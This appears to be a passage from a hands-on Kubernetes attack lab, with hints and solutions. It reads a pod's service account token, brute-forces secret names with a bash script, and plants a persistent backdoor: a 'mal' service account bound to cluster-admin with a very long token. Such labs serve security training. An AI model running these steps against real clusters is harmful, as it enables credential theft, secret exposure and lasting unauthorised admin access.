Tokens are usually found at "/run/secrets/kubernetes.io/serviceaccount/token" and are readable by all users.
Solution
id # observe we are not root
ls -la /run/secrets/kubernetes.io/serviceaccount/token
ls -la /run/secrets/kubernetes.io/serviceaccount/..data/token # Can still read token
cat /run/secrets/kubernetes.io/serviceaccount/token
Ok we have the token, but how can we use it from inside the pod itself?
Hint
Find a way to import the "kubectl" tool in the Pod.
Solution
Run the following command on a node:
cp /usr/bin/kubectl .
python3 -m http.server
ip a # find ip of node
Although the "read-sec" account can read any secret, we need to know the name of the secret we are trying to read. Let's write a bash/python/etc. script and a set of wordlists to bruteforce the available secrets.
We can use the list pods and list SAs to gain potential sensitive information for our wordlists:
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get pods -A
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get sa -A
Bash script "bruteforce_secret.sh":
#!/bin/bash
if [[ $# -ne 4 ]]; then
echo -e "\n\tUSAGE: $0 <http(s)://TARGET:PORT> <TOKEN> <NAMESPACE_FILE> <SECRET_FILE>\n"
exit
fi
TARGET=$1
TOKEN=$2
NAMESPACE_FILE=$3
SECRET_FILE=$4
result=""
for i in `cat $3`; do
for j in `cat $4`; do
echo "Trying: $i - $j"
x=$(./kubectl --token=$TOKEN -s $TARGET --insecure-skip-tls-verify=true get secret "$j" -n "$i" 2>/dev/null)
if [[ "$x" != "" ]]; then
result="$result\nFound: $i - $j \n$x\n"
fi
done
done
echo -e "\n\nResults:\n$result"
Optional: Put the Kubernetes config which was moved from "/.kube/config" to "/.kube/config.bak" back to it's previous location:
mv ~/.kube/config.bak ~/.kube/config # optional
4. Create Service Accounts Tokens
Let's create an administrative service account and generate a token that will last for years (>=10 years).
Hint
K8s instances have by default the "cluster-admin" cluster role.
Hint
Use the kubectl "--duration" flag.
Solution
Create user and token:
kubectl create sa mal
kubectl create clusterrolebinding mal_sa --clusterrole=cluster-admin --serviceaccount=default:mal
kubectl create token mal --duration=999999999s